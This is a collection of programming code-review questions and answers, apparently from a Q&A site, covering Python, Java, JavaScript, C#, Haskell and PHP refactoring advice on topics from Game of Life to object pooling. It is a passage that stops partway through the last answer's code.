Conway's Game of Life python It's my implementation.  Can I get some opinions on it?

import random
import os
import time

class Game:

 def __init__(self, turns, w, h):
    self.board = []

    for x in range(0, h):
        self.board.append([])
        for y in range(0, w):
            self.board[x].append(random.random())

    self.turns = turns

 def next_gen(self):
    self.board_next = []

    for x in range(0, len(self.board)):
        self.board_next.append([])

    for x in range(0, len(self.board)):
        for y in range(0, len(self.board[x])):
            n = 0

            for dx in range(-1, 2):
                for dy in range(-1, 2):
                    if (dx == 0 and dy == 0):
                        pass
                    else:
                        try:
                            if (x + dx >= 0 and y + dy >= 0):
                                if (self.board[x + dx][y + dy]):
                                    n += 1
                        except IndexError:
                            pass

            c = self.board[x][y]

            if (n == 1 or n == 0):
                c = 0
            elif (n == 3):
                c = 1
            elif (n == 2):
                pass
            else:
                c = 0

            self.board_next[x].append(c)

    self.board = self.board_next[:]

 def show(self):
    for x in range(0, len(self.board)):
        l = ""
        for y in range(0, len(self.board[x])):
            if (self.board[x][y]):
                l += "X"
            else:
                l += "#"
        print(l)
    time.sleep(0.5)

 def start(self):
    for x in range(0, self.turns):
        print("\n+Gen {0}".format(x + 1))
        self.show()
        if (x + 1 != self.turns):
            os.system('clear')
        self.next_gen()

os.system('clear')
game = Game(3, 3, 3)
game.board = [
      [0, 0, 0],
      [1, 1, 1],
      [0, 0, 0]]
game.start()

And output:

+Gen 1
###
XXX
###

+Gen 2
#X#
#X#
#X#

+Gen 3
###
XXX
###

First three general remarks:

range does not need an explicit start argument, it defaults to 0. range is basically range(start=0, stop, step=1), only stop is needed
if takes an expression as argument which just has to evaluate truthy or falsey. There is no need for parenthesis, unless chaining multiple expressions over multiple lines or doing some complicated and/or logic.
you should consistently use 4 spaces per indentation level (your class only has 2 in the outer level).

Your setting up of the board can be simplified with a list comprehension:

self.board = [[random.random() for _ in range(w)] for _ in range(h)]

Here I used _ as an unused loop variable, as customary in Python.

I would also save h and w in the class for later use.

In Game.next_gen:

if (n == 1 or n == 0):
    c = 0
elif (n == 3):
    c = 1
elif (n == 2):
    pass
else:
    c = 0

is equivalent to:

if n == 3:
    c = 1
elif n != 2:
    c = 0

I would make two helper functions calculating neighbours that are alive:

def neighbours(self, x, y):
    p = -1, 0, 1
    for dx, dy in itertools.product(p, p)
        if dx == dy == 0:
            continue
        _x, _y = x + dx, y + dy
        if 0 <= _x < self.h and 0 <= _y < self.w:
            yield _x, _y

def alive_neighbours(self, x, y):
    return sum(self.board[n_x][n_y] > 0 for n_x, n_y in self.neighbours(x, y))

Here I used the boundaries to make sure that neighbours only serves points inside the grid (and used itertools.product to make it easier to construct dx and dy). Then getting the sum of all alive neighbours just sums over the values, since in self.board empty cells have a value of zero, while alive cells a value greater than zero.

This simplifies next_gen to:

def next_gen(self):
   board_next = [[0 for _ in range(self.w)] * self.h]
   for x in range(len(self.board)):
       for y in range(len(self.board[x])):
           n = self.alive_neighbours(x, y)
           cell = self.board[x][y]
           if n == 3:
              cell = 1
           elif n != 2:
              cell = 0
           board_next[x][y] = cell
   self.board = board_next[:]

Your show function can be simplified using str.join:

def show(self):
   for row in self.board:
       print("".join("X" if cell else "#" for cell in row))

The time.sleep(0.5) I would put in start to make it possible to show the generation without delay if necessary.

I would put the code calling your class into a if __name__ == "__main__": guard to allow importing your class from another module:

if __name__ == "__main__":
    os.system('clear')
    game = Game(3, 3, 3)
    game.board = [
      [0, 0, 0],
      [1, 1, 1],
      [0, 0, 0]]
    game.start()


Is it a good choice to define my own JSON util class like this? package utils;

import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;

import com.google.gson.Gson;

public class JSONUtils {

    public static final Gson gson = new Gson();

    public static String toJSON(Object o, String... fields) {
        HashMap<String, Object> map = new HashMap<String, Object>();
        for (String f : fields) {
            try {
                Field field = o.getClass().getField(f);
                map.put(f, field.get(o));
            } catch (Exception e) {
                e.printStackTrace();
                return null;
            }
        }

        return gson.toJson(map);
    }

    public static String toJSONForList(List<?> objects, String... fields) {
        ArrayList<Object> list = new ArrayList<Object>();
        for (Object o : objects) {
            list.add(toJSON(o, fields));
        }
        return gson.toJson(list);
    }
}

Note : I need to convert list to JSON very often.

Are you changing the fields that you expose from your objects depending on certain conditions?

On the whole it would be best to use reflection only as a last gasp. Gson works fine with collections in general see the documentation over at Google.

If you want to exclude some fields from serialization then you can use the @Expose annotation, as documented here. This requires you to annotate all fields that you want to serialize with the @Expose annotation, and to use a builder to instantiate your Gson Object like so:

Gson gson = GsonBuilder().excludeFieldsWithoutExposeAnnotation().create();

In general try to limit how much you are working with the type Object and reduce as far as possible your use of reflection.


Use only necessary fields in an object for URL params I'm trying to cleanly grab some fields I need from an object.

The scenario is this:

I've got an object that is stored with certain 'extra' properties that exist because of the way we've set up our store in Redux. It'll look something like this:

var formData = {
  account_name: 'SomeAccountName',
  custom_domain_name: '',
  id: 152
};

I'm trying to grab the fields I need from this object, which in this case are only popup: true and account_name, since custom_domain_name is empty. I'll be adding the necessary fields as params to the end of the URL.

What I've got so far works, but seems clunky to me. I was hoping I could do something with object destructuring, such as:

var fields = ['account_name']
var necessaryFields = { ...fields } = formData

But of course that doesn't work. This is what I've got instead:

//this turns an array of field objects into just the name of the field
const fieldNames = fields.map(field => field.key);

//so here I just grab the field name if it's not an empty string
//and stick it in the new object. `popup: true` is not a required
//field, but it is necessary for the URL.
let necessaryFields = fieldNames.reduce(
  (newFormObject, fieldName) => {
    if (formData[fieldName]){
      newFormObject[fieldName] = formData[fieldName];
    }
    return newFormObject;
  }, { popup: true });

After this code runs, I just run the object through an existing addParamsToUrl function (that unfortunately does not account for empty fields) that pretty much just does field_name=field_value& with each key-value pair.

Is there a nicer way to do this? I'm also always looking to make my code as functional as possible (and that's possibly why this irks me).

I think you could do this in one go using Object.keys on your formData Object, followed by a few methods from the Array and String prototype.

var formData = {
  account_name: 'SomeAccountName',
  custom_domain_name: '',
  id: 152
};

var enc = encodeURIComponent;

// create an array from formData props
var query = Object.keys( formData )
// filter by the prop value length
// which will only give you props where the value
// has a length property which is greater than 0.
  .filter( key => formData[key].length )
// map to acctually add the value to the filtered props
// separated by equal signs.
  .map( key => enc( key ) + '=' + enc( formData[key] ) )
// add your popup prop
  .concat( 'popup=true' )
// join your array elements to a string separated by &.
  .join( '&' )
// finally add ? to the beginning of the string.
  .replace ( /^/,'?' );

// here is your query string.
console.log(query)
.as-console-wrapper { top: 0; }


Project Euler 19 (count Sundays in the 20th Century) with a while loop I'm working on Project Euler problem 19, which reads as follows:

  You are given the following information, but you may prefer to do some research for yourself.

  1 Jan 1900 was a Monday.
     Thirty days has September,
     April, June and November.
     All the rest have thirty-one,
     Saving February alone,
     Which has twenty-eight, rain or shine.
     And on leap years, twenty-nine.
     A leap year occurs on any year evenly divisible by 4, but not on a century unless it is divisible by 400.

  How many Sundays fell on the first of the month during the twentieth century (1 Jan 1901 to 31 Dec 2000)?

Note that my title is slightly misleading because this isn't counting all of the Sundays in the 20th Century, just the ones that fall on the first day of the month.

Here's my code:

public int HowManySundays()
    {
        // Have an array with the number of days in each month. For example, month 0 is January,
        // which has 31 days.
        int[] daysInEachMonth = new int[]
        {
            31,
            28,
            31,
            30,
            31,
            30,
            31,
            31,
            30,
            31,
            30,
            31
        };

        int currentYear = 1900;

        // First year in 1900
        // We could calculate the first Sunday in 1901 to save a little time
        // but that's not all *that* much of an optimization so it's not terribly important
        int currentDay = 7;

        int currentMonth = 0;

        int numberOfSundays = 0;

        while (currentYear < 2001)
        {
            // Add 7 each time so that we know that it's another Sunday
            currentDay += 7;

            // I don't particularly like the special reasoning for February for leap-year detection
            // We don't actually have to do separate logic for centuries because the only century we
            // care about is the year 2000, which we already know is evenly divisible by 400
            int daysInMonth =
                currentMonth == 1 ?
                    ((currentYear % 4 == 0) ? 29 : 28) :
                    daysInEachMonth[currentMonth];

            if (daysInEachMonth[currentMonth] < currentDay)
            {
                currentDay -= daysInEachMonth[currentMonth];
                currentMonth++;

                // Months are 0 - 11
                // See if we've wrapped around to a new year
                if (currentMonth >= 12)
                {
                    currentMonth = 0;
                    currentYear++;
                }

                // If day == 1, then it must be a Sunday on the first day of the month
                if (currentDay == 1 && currentYear > 1900)
                {
                    numberOfSundays++;
                }
            }
        }

        return numberOfSundays;
    }

I have a trivial unit test (not included here) proving that my method does, in fact, return the correct answer (171).

Does anyone have feedback on this (especially on its readability)? Is this decently efficient, or did I miss some optimizations?

Your logic is checking about Number of Days in Month, Leap year and related date logic.

Following snippet will work. This logic will loop thru the each month(1 to 12) with in 20th century and  and checks first day of month is Sunday or not.

      var result = 0;
        for(int year =  1901; year <= 2000; year++)
        {
            for(int month = 1;month<=12;month++)
            {
                if (new DateTime(year, month, 1).DayOfWeek == DayOfWeek.Sunday)
                    result++;
            }
        }
        Console.WriteLine(result);


Simplest quick sort using one 19-line function This will later be be posted on my website to explain quick sort so I would like how I could improve the readability and simplicity of this demo class. I do not like my use of the stack (meaning this recursion cannot process a list with millions of values).

How could I reduce the stack impact? I think the best way would be not to use as many ArrayList instances. However, I don't know how else because I cannot use lists like int[] list because I do not know their size and surely if I just make it too big the loops will be bigger and take longer.

Here is the class in question:

import java.util.ArrayList;
import java.util.Random;

public class QuickSort {

    static Random r = new Random();

    public static void main(String[] args) {
        int listsize = 100000, range = 100000;
        ArrayList<Integer> list = new ArrayList<Integer>();
        for (int i=0; i<listsize; i++)
            list.add(r.nextInt(range));
        sort(list);
        System.out.println(list);
    }

    public static ArrayList<Integer> sort(ArrayList<Integer> list) {
        if (list.size() <= 1)
            return list;
        int rotationplacement = r.nextInt(list.size());
        int rotation = list.get(rotationplacement);
        list.remove(rotationplacement);
        ArrayList<Integer> lower = new ArrayList<Integer>();
        ArrayList<Integer> higher = new ArrayList<Integer>();
        for (int num : list)
            if (num <= rotation)
                lower.add(num);
            else
                higher.add(num);
        sort(lower);
        sort(higher);

        list.clear();
        list.addAll(lower);
        list.add(rotation);
        list.addAll(higher);
        return list;
    }
}

Rather than creating new Lists, your method could sort the list in place. The method you call recursively could take the list and index values; the methods would look something like this:

/**
 * sorts the {@code list} in place
 */
public static void sort(ArrayList<Integer> list) {
    sort(list, 0, list.size());
}

/**
 * Sorts the {@code list} from {@code fromIndex} to {@code toIndex} - 1.
 */
private static void sort(List<Integer> list, int fromIndex, int toIndex) {

    if (fromIndex == toIndex - 1) {
        return;
    } else {
        // find the pivot, Collections.swap elements, etc...
        // recursively call self.
    }

}

Sorting the list in place reduces the amount of memory on the stack.

Also, to make the code more generic, perhaps you could sort lists of Comparable instead of Integer.


Many CSVs to list, optimize I have a Python3 script (running on Python 3.5.2) which reads 110 CSV files (tab delimited) into a list. The largest file is 20 MB and the list ends up looking like this:

[
    [line1],
    [line2],
    [line2021756],
    etc.
]

Right now the process takes about 32 seconds to complete:

python3 -m cProfile -s time script.py

10 files found
2021756 non-unique lines found.

9600828 function calls (9600673 primitive calls) in 32.900 seconds

   Ordered by: internal time

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
        1   30.451   30.451   32.890   32.890 script.py:81(main)
  7419324    1.945    0.000    1.945    0.000 {method 'startswith' of 'str' objects}
  2021994    0.189    0.000    0.189    0.000 {method 'append' of 'list' objects}
    76528    0.164    0.000    0.164    0.000 {built-in method _codecs.utf_8_decode}
    76528    0.130    0.000    0.294    0.000 codecs.py:318(decode)
      110    0.007    0.000    0.007    0.000 {built-in method io.open}
        5    0.002    0.000    0.002    0.000 {method 'read' of '_io.FileIO' objects}
        3    0.001    0.000    0.001    0.000 {built-in method _imp.create_dynamic}
        5    0.001    0.000    0.001    0.000 {built-in method marshal.loads}
        1    0.001    0.001    0.001    0.001 {built-in method posix.listdir}
      110    0.001    0.000    0.001    0.000 {built-in method _csv.reader}
       48    0.001    0.000    0.002    0.000 <frozen importlib._bootstrap_external>:1215(find_spec)
      111    0.001    0.000    0.001    0.000 {built-in method posix.lstat}
      332    0.001    0.000    0.001    0.000 posixpath.py:71(join)

... and I would like to know if there is a way to significantly reduce that time?. It seems startswith and append are the main bottlenecks.

script.py

# Find CSV files.
files_found = glob.glob('{0}dir_*_name/{1}'.format(input_dir,file_of_interest))
len_files_found = len(files_found)
if len_files_found == 0:
    print_message('Error: zero {0} files found'.format(file_of_interest), True)
print_message('{0} files found'.format(len_files_found), False)

# Read each file into files_found_lines.
# files_found_lines will look like [[line1],[line2],[line3],...]
files_found_lines = []
for file in files_found:
    try:
        # Open file for reading text.
        with open(file, 'rt', newline='', encoding='utf-8') as f:
            reader = csv.reader(f, delimiter='\t')
            for row in reader:
                # Keep lines starting with BLAH.
                if row[0].startswith('BLAH'):
                    # Get first 9 columns.
                    files_found_lines.append(row[0:9])
    except Exception as error:
        print_message('Error: {0}'.format(error), True)

It's possible I may end up reading each CSV file into its own list instead of one big list like above, so just FYI.

Since you only want lines starting with BLAH, filter the lines before parsing the CSV. I think the profiler is misleading you by attributing the time spent parsing CSV to the line for row in reader in your code.

with open(file, 'rt', newline='', encoding='utf-8') as f:
    filtered = (line for line in f if line.startswith('BLAH'))
    reader = csv.reader(filtered, delimiter='\t')
    for row in reader:
        files_found_lines.append(row[0:9])


Split a string on spaces, accounting for backslash as escape character, in Haskell This code works, but since I'm just learning Haskell I'm wondering if it could have been done in a more idiomatic way.

The main function is called tokenize, and it uses helper functions called tokenizeOne and tokenizeSeveral.

Here is the code:

tokenizeOne "" (' ':rest) = tokenizeOne "" rest
tokenizeOne str ('\\':ch:rest) = tokenizeOne (str ++ [ch]) rest
tokenizeOne x (' ':rest) = (x, rest)
tokenizeOne x "" = (x, "")
tokenizeOne x (ch:rest) = tokenizeOne (x ++ [ch]) rest

tokenizeSeveral x "" = x
tokenizeSeveral x str = let (token, rest) = tokenizeOne "" str in
    tokenizeSeveral (x ++ [token]) rest

tokenize str = tokenizeSeveral [] str

Apart from general code layout I don't see much to improve - the only issue worth talking about is that you should never ever actually use something like ++ [ch]. Your function is needlessly O(n²) for that reason alone. That might not sound like much here, but it is a good idea to shake this habit early.

So let's talk about that a bit. Your options generally are:

Find a library function that frees you from actually constructing the list yourself. But to be fair, for this examples I can't actually think of anything helpful myself.
Use a data structure that copes better with it, such as Seq from Data.Sequence.
First construct the list using just (:), then reverse it at the end. That might seem inefficient, but given that reverse is only O(n), it will never actually increase algorithmic complexity.
Rebuild your function so it constructs the list in the right order right away.

Here is what things look like if we go for the last option:

import Control.Arrow ( first )
token :: String -> (String, String)
token ""          = ("", "")
token (' ' :  cs) = ("", cs)
token ('\\':c:cs) = first (c:) $ token cs
token (c   :  cs) = first (c:) $ token cs

The key here is that we add the character c using first (c:) after the recursive call returns, and therefore to the front of the string.

A notable advantage is that this version has better laziness properties:

*Main> head $ fst $ token ('t':undefined)
't'

We know that the first character is 't' even without looking at the rest of the string, whereas your function always needs to finish a complete token before it can return. And as we are programming in Haskell, we often like our functions as lazy as possible.

Finally, a matching tokens implementation:

tokens :: String -> [String]
tokens str
  | null str'  = []
  | otherwise  = tok : tokens rest
  where str' = dropWhile (==' ') str
        (tok, rest) = token str'

This is again basically your version using direct list construction. Only difference is that we now deal with whitespace once per token, which I feel is slightly more elegant.


Python script to find large folders I wrote this script a few days ago to find all files which were taking up over a certain threshold of memory on the hard drive.  A hard drive on one of my computers had just 6 GB left, so I needed to clean some space up.  I used this to identify bulky folders to find out where the problem was.

Is there anything I could have done better?  I'm particularly displeased with the exception handling in the get_folder_size function, since I ended up handling the same exception twice, just at different levels.  Couldn't think of a way around it off hand, though.  Also, efficiency was an issue with this script.  I know I could've invented some framework to keep track of all the folders previously scanned, but that seemed like a bit too monumental of an effort to make for such a trivial script.  The recursion was much easier to implement.

Any and all suggestions are welcome!

import os

BYTES_IN_GIGABYTE = 1073741824
GIGABYTE_DISPLAY_LIMIT = 2
ACCESS_ERROR_CODE = 13

def get_folder_size(filepath):
    size = os.path.getsize(filepath)
    try:
        for item in os.listdir(filepath):
            item_path = os.path.join(filepath, item)
            try:
                if os.path.isfile(item_path):
                    size += os.path.getsize(item_path)
                elif os.path.isdir(item_path):
                    size += get_folder_size(item_path)
            except OSError as err:
                if err.errno == ACCESS_ERROR_CODE:
                    print('Unable to access ' + item_path)
                    continue
                else:
                    raise
    except OSError as err:
        if err.errno != ACCESS_ERROR_CODE:
            raise
        else:
            print('Unable to access ' + filepath)
    return size

def get_all_folder_sizes(root_filepath):
    folders = []
    for item in os.walk(root_filepath):
        if os.path.isdir(os.path.join(root_filepath, item[0])):
            folders.append([item[0], get_folder_size(item[0])])
    return folders

def convert_bytes_to_gigabytes(bytes):
    return bytes / BYTES_IN_GIGABYTE

def main():
    folder_sizes = get_all_folder_sizes('C:\\')
    folder_sizes.sort()
    for folder in folder_sizes:
        gigabytes = convert_bytes_to_gigabytes(folder[1])
        if gigabytes > GIGABYTE_DISPLAY_LIMIT:
            print(folder[0] + ' = ' + format(gigabytes, '.2f') + ' GB')

if __name__ == '__main__':
    main()

ACCESS_ERROR_CODE is errno.EACCES.

BYTES_IN_GIGABYTE is clearer as 2**30. That's transparent enough that the constant and convert_bytes_to_gigabytes aren't needed, so I'd just write folder[1] / 2**30.

GIGABYTE_DISPLAY_LIMIT sounds like an upper limit to display. How about GIGABYTE_DISPLAY_THRESHOLD instead?

To reduce the opportunity for unit confusion, I'd keep the size and the threshold in bytes, and only convert to GB when printing.

You may want folder_sizes.sort(reverse=True) to get the largest ones first.

get_all_folder_sizes recurses over directories twice: once in os.walk and once in get_folder_size. This takes time quadratic in the tree depth, so it may be slow. Can you do the recursion just once, by returning a generator of (size, path) pairs, and recursing on subdirectories?

You can avoid the two try blocks by getting directory size in the same place as file size. (Then you don't even need isfile.)

The continue in the inner exception handler is redundant.


A class and a function to create and light up buttons in PyGame This is my first ever try at making reusable code. The function makes use of two images to give the illusion of turning on and turning off a button in pygame.

I would like to know what would you do differently and if I did a good job? Thanks everyone.

Also, this is assuming you already loaded your images and gave it a name using pygame.image.load() function in pygame.

"""
    The function `mouse_on_button() takes all the arguments needed
to produce a light-able button. For example, you have an image
of a thumbs up in grey and another image of a thumbs up in bright red and stack the on top of each other.
They are called by clicking the position of the image. By clicking they dark image will get transformed into the lit up image and vice-versa.

thumbs_up_img = pygame.image.load('thumbsup.png')
thumbs_up_lit_up_img = pygame.image.load('thumbsupred.png')

thumbs_up = Buttons(60, 240, 50, 50) # X, Y, Width, Height

mouse_on_button(pygame, screen, thumbs_up_img, thumbs_up_lit_up_img,thumbs_up.btn_x, thumbs_up.btn_y, thumbs_up.width, thumbs_up.height, SCREEN_HEIGHT, SCREEN_WIDTH)
"""

class Buttons:

    """
    This class takes the x-position and the y-position, width and height of an image.
    """
    def __init__(self, btn_x, btn_y, width, height):

        self.btn_x = btn_x
        self.btn_y = btn_y
        self.width = width
        self.height = height

def mouse_on_button(pygame, screen, off_btn, on_btn, btn_x, btn_y, width, height, SCREEN_HEIGHT, SCREEN_WIDTH):
    """
    This function takes a dark image and a bright image to give the illusion of turning on a button.
    """

    # Get mouse position.
    mouse = pygame.mouse.get_pos()

    # Setting up the boundries to light up or turn off around the button.
    if (mouse[0] >= btn_x and mouse[0] <=  btn_x + width) and (mouse[1] >= btn_y and mouse[1] <= btn_y + height):
        # This will return the ON value of an image in the screen.
        return screen.blit(on_btn,(btn_x, btn_y, SCREEN_HEIGHT, SCREEN_WIDTH))
    else:
        # This will return the OFF value of an image in the screen.
        return screen.blit(off_btn,(btn_x, btn_y, SCREEN_HEIGHT, SCREEN_WIDTH))

I think your button class should do more. It should know if a point is within it's boundaries or not and what its image(s) is (are). It should probably also have an update method that can optionally be called with the mouse position. I would also rename it to singular Button, since each instance of the class is a single button and not a collection of buttons.

class Button:
    """
    This class takes the x-position and the y-position, width and height of an image.
    """
    def __init__(self, x, y, width, height, image, hover_image=None):
        self.x = x
        self.y = y
        self.width = width
        self.height = height
        self.image = on_image
        self.hover_image = hover_image

def point_inside(self, pos=None):
    if pos is None:
        return False
    return (self.x <= pos[0] <=  self.x + self.width \
            and self.y <= pos[1] <= self.y + self.height)

def update(self, screen, mouse_pos=None):
    if self.hover_image is not None and self.point_inside(mouse_pos):
        screen.blit(self.hover_image, (self.x, self.y, SCREEN_HEIGHT, SCREEN_WIDTH))
    else:
        screen.blit(self.image, (self.x, self.y, SCREEN_HEIGHT, SCREEN_WIDTH))

if __name__ == "__main__":
    thumbs_up_img = pygame.image.load('thumbsup.png')
    thumbs_up_lit_up_img = pygame.image.load('thumbsupred.png')
    thumbs_up = Button(60, 240, 50, 50, thumbs_up_img, thumbs_up_lit_up_img)

    # some pygame setup
    ...

    while True:
        mouse = pygame.mouse.get_pos()
        button.update(screen, mouse)
        pygame.display.flip()

This is a bit more generic, in that it allows a button not to have a hover image and it has an update method, which is quite common for objects in pygame. You could think about off-loading the point in button boundary check to a Rectangle class, which might help since you will probably encounter rectangles and checking if a point is inside quite often in pygame.

And would you look at that, there is already pygame.Rect, from which you could inherit. It even has the pygame.Rect.collidepoint method to check if a point is inside it.

class Button(pygame.Rect):
    """
    This class takes the x-position and the y-position, width and height of an image.
    """
    def __init__(self, x, y, width, height, image, hover_image=None):
        super().__init__(x, y, width, height)
        self.image = on_image
        self.hover_image = hover_image

def update(self, screen, mouse_pos=None):
    if self.hover_image is not None \
       and mouse_pos is not None \
       and self.collidepoint(mouse_pos):
        screen.blit(self.hover_image, (self.x, self.y, SCREEN_HEIGHT, SCREEN_WIDTH))
    else:
        screen.blit(self.image, (self.x, self.y, SCREEN_HEIGHT, SCREEN_WIDTH))


Wrapper class for PHPMailer Is this a right way to use/implement an external library into a project? If it's not how do you do it?

class Mail {
    protected $mail;

    public function __construct(PHPMailer $mail) {
        $this->mail = $mail;
        $this->mail->isHTML(Config::read('mail.isHtml'));
        $this->mail->setFrom(Config::read('mail.fromEmail'), Config::read('mail.fromName'));
    }

    public function sendMail ( $to, $subject, $body, $plainText ) {
        $this->mail->addAddress($to);
        $this->mail->Subject = $subject;
        $this->mail->Body = $body;
        $this->mail->AltBody = $plainText;

        $this->mail->send();
    }
}

and use it in anywhere in your app like this?

$test = new lib\Mail(new PHPMailer);

$test->sendMail('test@domain.com', 'Subject', '<html>Hello username</html>', 'Hello username' );

As @ChoiZ already said in a comment, I would not pass the PHPMailer object in the constructor.

It doesn't really have any benefits (it's not like you can - or would want to - just pass a different mail class), and it's additional work for the caller.

It also means that it will be hard to change the library you are using. With your Mail class, you created a nice interface for sending emails, but by passing the class that actually sends mails via constructor, you are binding yourself to that library.

Misc

The names body and plainText represent the same thing - just one with and one without HTML. It's generally best to name same things the same. So I would go with body/bodyPlain or htmlText/plainText to avoid confusion.
I would rename sendMail to mail, as the class is already named mail.
Your spacing is not consistent.
if there is not reason not to, fields should be private.


Laravel 4 clean code review of users controller and model, trying to maintain MVC structure I'd like you to review my attempt at creating an authorization class and let me know if there is re-factoring to be done and/or how I can make the code cleaner and abide by the MVC structure.

UsersController.php

<?php

    class UsersController extends BaseController {

    protected $user;

    public function __construct(User $user)
    {
        $this->beforeFilter('csrf', array('on' => 'post'));
        $this->user = $user;
    }

    public function getRegister()
    {
        return View::make('admin.register');
    }

    public function postRegister()
    {
        try
        {
            $this->user->insertUserIntoDatabase(Input::all());
        }
        catch (ValidationError $e)
        {
            return Redirect::to('admin/register')
            ->with('message', 'Something went wrong')
            ->withInput()
            ->withErrors($e->getErrors());
        }

        return Redirect::to('admin/login')
                ->with('message', 'Thank you for creating a new account');
    }

    public function getLogin()
    {
        return View::make('admin.login');
    }

    public function postLogin()
    {
        if (Auth::attempt(array('email' => Input::get('email'), 'password' => Input::get('password') ))){
            return Redirect::to('admin/dashboard')->with('message', 'Thanks for logging in');
        }

        return Redirect::to('admin/login')->with('message', 'Your email/password combo failed.');
    }

    public function getLogout()
    {
        Auth::logout();
        return Redirect::to('admin/login')->with('message', 'You have been logged out.');
    }

    public function getDashboard()
    {
        return View::make('admin/dashboard');
    }
}

Users.php (Model)

<?php

use Illuminate\Auth\UserInterface;
use Illuminate\Auth\Reminders\RemindableInterface;

class User extends Eloquent implements UserInterface, RemindableInterface {

    /**
    * The database table used by the model.
    *
    * @var string
    */
    protected $table = 'users';

    /**
    * The attributes excluded from the model's JSON form.
    *
    * @var array
    */
    protected $hidden = array('password');

    protected $fillable = array('firstname', 'lastname', 'email');
    /**
    * Get the unique identifier for the user.
    *
    * @return mixed
    */
    public function getAuthIdentifier()
    {
        return $this->getKey();
    }

    /**
    * Get the password for the user.
    *
    * @return string
    */
    public function getAuthPassword()
    {
        return $this->password;
    }

    /**
    * Get the e-mail address where password reminders are sent.
    *
    * @return string
    */
    public function getReminderEmail()
    {
        return $this->email;
    }

    public function insertUserIntoDatabase($input)
    {
        $validation = new Services\Validators\Users;

        if ($validation->passes()) {

            $user = new User;
            $user->firstname = Input::get('firstname');
            $user->lastname = Input::get('lastname');
            $user->email = Input::get('email');
            $user->password = Hash::make(Input::get('password'));
            $user->save();
        }

        else {
            $this->errors = $validation->errors;
            throw new ValidationError($validation->errors);
        }
    }
}

I didn't used PHP in the last few years, so just some generic notes:

The $input parameter of insertUserIntoDatabase($input) is unused. I guess you wanted to use the parameter instead of direct Input:: calls inside the function.
You could use a guard clause in insertUserIntoDatabase to make the code flatten:

public function insertUserIntoDatabase($input)
{
    $validation = new Services\Validators\Users;

    if (!$validation->passes()) {
        $this->errors = $validation->errors;
        throw new ValidationError($validation->errors);
    }

    $user = new User;
    $user->firstname = Input::get('firstname');
    $user->lastname = Input::get('lastname');
    $user->email = Input::get('email');
    $user->password = Hash::make(Input::get('password'));
    $user->save();
}

The fields in the User class are protected. You might want to use private instead. See: Should I always use the private access modifier for class fields?; Item 13 of Effective Java 2nd Edition: Minimize the accessibility of classes and members.
In postRegister() you could move the return inside the try block. I guess Redirect::to doesn't throw any ValidationError exceptions, so the following is the same:

public function postRegister()
{
    try
    {
        $this->user->insertUserIntoDatabase(Input::all());
        return Redirect::to('admin/login')
            ->with('message', 'Thank you for creating a new account');
    }
    catch (ValidationError $e)
    {
        return Redirect::to('admin/register')
        ->with('message', 'Something went wrong')
        ->withInput()
        ->withErrors($e->getErrors());
    }
}

if (Auth::attempt(array('email' => Input::get('email'), 'password' => Input::get('password') ))){
    return Redirect::to('admin/dashboard')->with('message', 'Thanks for logging in');
}

I would create an explanatory local variable for the array for better readability:

$credentials = array(
    'email' => Input::get('email'),
    'password' => Input::get('password')
);
if (Auth::attempt($credentials)) {
    return Redirect::to('admin/dashboard')->with('message', 'Thanks for logging in');
}

(Clean Code by Robert C. Martin, G19: Use Explanatory Variables;  Refactoring: Improving the Design of Existing Code by Martin Fowler, Introduce Explaining Variable)


Reusing objects using a generic object pool After reading a lot of documents, I wrote this object pooling code. Can anyone help me to improve this code? I am lagging in validating the object, confirming whether I can reuse it or not.

/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package iaccount.ui;

import java.util.Enumeration;
import java.util.Hashtable;

/**
 *
 * @author system016
 */
public class ObjectPool<T> {

    private long expirationTime;
    private Hashtable locked, unlocked;

    ObjectPool() {
        expirationTime = 30000; // 30 seconds
        locked = new Hashtable();
        unlocked = new Hashtable();
    }
//   abstract

    public Object create(Class<T> clazz) throws InstantiationException, IllegalAccessException {
        Object obj = clazz.newInstance();
        unlocked.put(clazz.newInstance(), expirationTime);

        return obj;

    }

    ;
//   abstract boolean validate( Object o );
//   abstract void expire( Object o );
    synchronized Object checkOut(Class<T> clazz) {
        long now = System.currentTimeMillis();
        Object o = null;

        if (unlocked.size() > 0) {
            Enumeration e = unlocked.keys();
            while (e.hasMoreElements()) {
                o = e.nextElement();
                if ((clazz.isAssignableFrom(o.getClass()))) {

//                }
                    if ((now - ((Long) unlocked.get(o)).longValue())
                            > expirationTime) {
                        // object has expired
                        unlocked.remove(o);
//                        expire(o);
                        o = null;

                    } else {
//                        if (validate(o)) {
                            unlocked.remove(o);
                            locked.put(o, new Long(now));
                            return (o);
//                        } else {
//                            // object failed validation
//                            unlocked.remove(o);
////                            expire(o);
//                            o = null;
//                        }
                    }
                }
            }
        }
        return o;
    }
//    public boolean validate(Object o){return true;};
}
//   synchronized void checkIn( Object o ){...}

The choices of classes and other design patterns that you have made indicate to me that the books/tutorials you have been reading are pretty old. There are a number of things in your code which are almost ten years out of date in the Java 'world'.

Also, you are only showing us half of your implementation, you have not included the checkIn() code.

While I can't review the whole system without the checkIn() code, there is a lot to comment on without that still.

General

It is obvious that you are using an IDE to help you write your code because you have some code-template things like:

/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

Why is that still there? Why have you not fixed it, or removed it?

Now, your tool should also then be pointing out other a bunch of other issues that you are obviously ignoring.... why?

You have a semicolon out of place:

    ;
//   abstract boolean validate( Object o );
//   abstract void expire( Object o );

Generics

Your class is defined as: public class ObjectPool<T> { but you do not take full advantage of generics.

Your constructor should take the variable Class<T> clazz instead of the create(Class<T> clazz) method, which should take nothing.

The constructor should save away the clazz as a private final Class<T> clazz;;

Then, your create() method should be fixed in 2 ways:

it should return generic type T
it should do some validation.
it should not have any input parameters.

To save having the complicated exceptions on the create method I recommend adding the first value to the pool in the constructor, and making the constructor throw the complicated exceptions.... then the create() method will be simpler to use ....

Note the following in these examples:

the instance variables should be private final (note the final).
Use the clazz instance to cast the value.

Example code:

    private final long expirationTime;
    private final Hashtable locked, unlocked;
    private final Class<T> clazz;

    ObjectPool(Class<T> clazz) throws InstantiationException, IllegalAccessException {
        expirationTime = 30000; // 30 seconds
        locked = new Hashtable();
        unlocked = new Hashtable();
        this.clazz = clazz;
        // complicated constructors with thrown exceptions....
        T o = clazz.cast(clazz.newInstance());
        locked.put(o, new Long(now));
    }

    public T create()  {
        try {
            T obj = clazz.cast(clazz.newInstance());
            unlocked.put(clazz.newInstance(), expirationTime);

            return obj;
